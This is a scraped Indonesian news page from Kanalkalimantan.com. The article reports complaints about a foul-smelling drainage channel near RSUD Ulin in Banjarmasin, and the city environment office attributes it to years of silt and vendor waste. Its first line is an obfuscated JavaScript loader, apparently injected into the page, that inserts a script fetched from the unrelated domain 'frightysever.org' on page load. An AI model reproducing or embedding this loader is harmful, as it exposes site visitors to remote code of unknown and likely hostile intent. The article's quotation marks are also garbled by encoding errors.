(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARMASIN, Keberadaan drainase di jalan A Yani Km 2 Banjarmasin depan RSUD Ulin Banjarmasin menyebabkan aroma yang tak sedap. Apalagi, jika saat hujan telah mengguyur, bau busuk kian tercium. Kondisi ini pun dikeluhkan oleh warga yang kerap kali melintas di kawasan A Yani Km 2.
“Kalau habis hujan suka menguap baunya,†ungkap Mario Pangaribuan, warga yang kerap di depan RSUD Ulin Banjarmasin, Selasa (31/12).
Akibatnya, saluran air beraroma tidak sedap itu mengganggu penciuman warga. “Tidak sedap pokoknya, dan pastinya bau menyengat gitu,†kata Mario.
Nah, Kanalkalimantan.com mengkonfirmasi ke Dinas Lingkungan Hidup (LH) Banjarmasin Selasa (31/12) siang, Kepala Dinas LH Banjarmasin H Mukyar menyebut adanya endapan lumpur yang ada di sepanjang drainase sebagai biang keladinya. Apalagi, endapan lumpurnya sudah bertahun-tahun menumpuk di dasar drainase yang dulunya sungai itu, sehingga bukan tidak mungkin mengakibatkan bau yang tidak sedap.
“Ketika hujan dan pasang, airnya naik dan tidak bisa mengalir. Coba airnya mengalir ke mana? Itu tidak bisa hilang. Walaupun keruh, (kita) harus bikinkan saluran airnya ke mana?,†kata Mukyar.
Untuk solusinya, harusnya aliran sungai kecil itu bisa disalurkan ke arah Pasar Pandu ataupun ditarik lurus ke Km 6. Selain itu, Mukyar menyebut endapan lumpur yang berada di drainase Jalan A Yani Km 2 itu merupakan bekas limbas dari keberadaan pedagang kaki lima.
“(Itu) dampak dari limbah dari pedagang-pedagang kaki lima dan itu sudah penyakit tahunan,†sebut Mukyar.
Mukyar memaparkan, harus ada pengerukan yang tujuannya untuk membuka aliran drainase. Caranya, pihaknya tak bisa berjalan sendiri. Dinas PUPR Kota Banjarmasin juga harus ikut turun tangan untuk bisa membuka aliran drainase agar tidak tertumpuk dan menimbulkan bau tidak sedap. “Kalau bisa mengalir, kalau bisa diteruskan ke Km 6 sana,†paparnya.
Dulunya, menurut Mukyar, sempat beredar informasi kalau bau yang menyengat itu merupakan limbah buangan dari Duta Mall. “Dan Duta Mall sudah mendatangi kami, dan kami sudah melakukan pengawasan terhadap air limbah yang diolah mereka. Pengolahan air limbahnya di atas standar yang kami izinkan untuk menyalurkan ke sana, setelah diperiksa uji labnya,†kata Mukyar. (fikri)
KANALKALIMANTAN.COM, BANJARBARU - Memperingati Hari Kartini 2024 PT PLN (Persero) Unit Induk Penyaluran dan Pusat… Read More
KANALKALIMANTAN.COM – Setiap tanggal 29 April diperingati salah satu seni atau ekspresi diri yang tertua… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Unit Pelaksana Teknis Daerah (UPTD) Taman Budaya Provinsi Kalimantan Selatan (Kalsel) menyelenggarakan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Dewan Pengurus Daerah (DPD) Komite Nasional Pemuda Indonesia (KNPI) Kota Banjarbaru menggelar… Read More
KANALKALIMANTAN.COM, BANJARBARU - Semangat memperingati Hari Kartini 2024, PT PLN (Persero) Unit Induk Penyaluran dan… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS – “Konser Malam Pestaforia Kapuas 2024” menyemarakan Hari Jadi ke-218 Kota Kuala… Read More
This website uses cookies.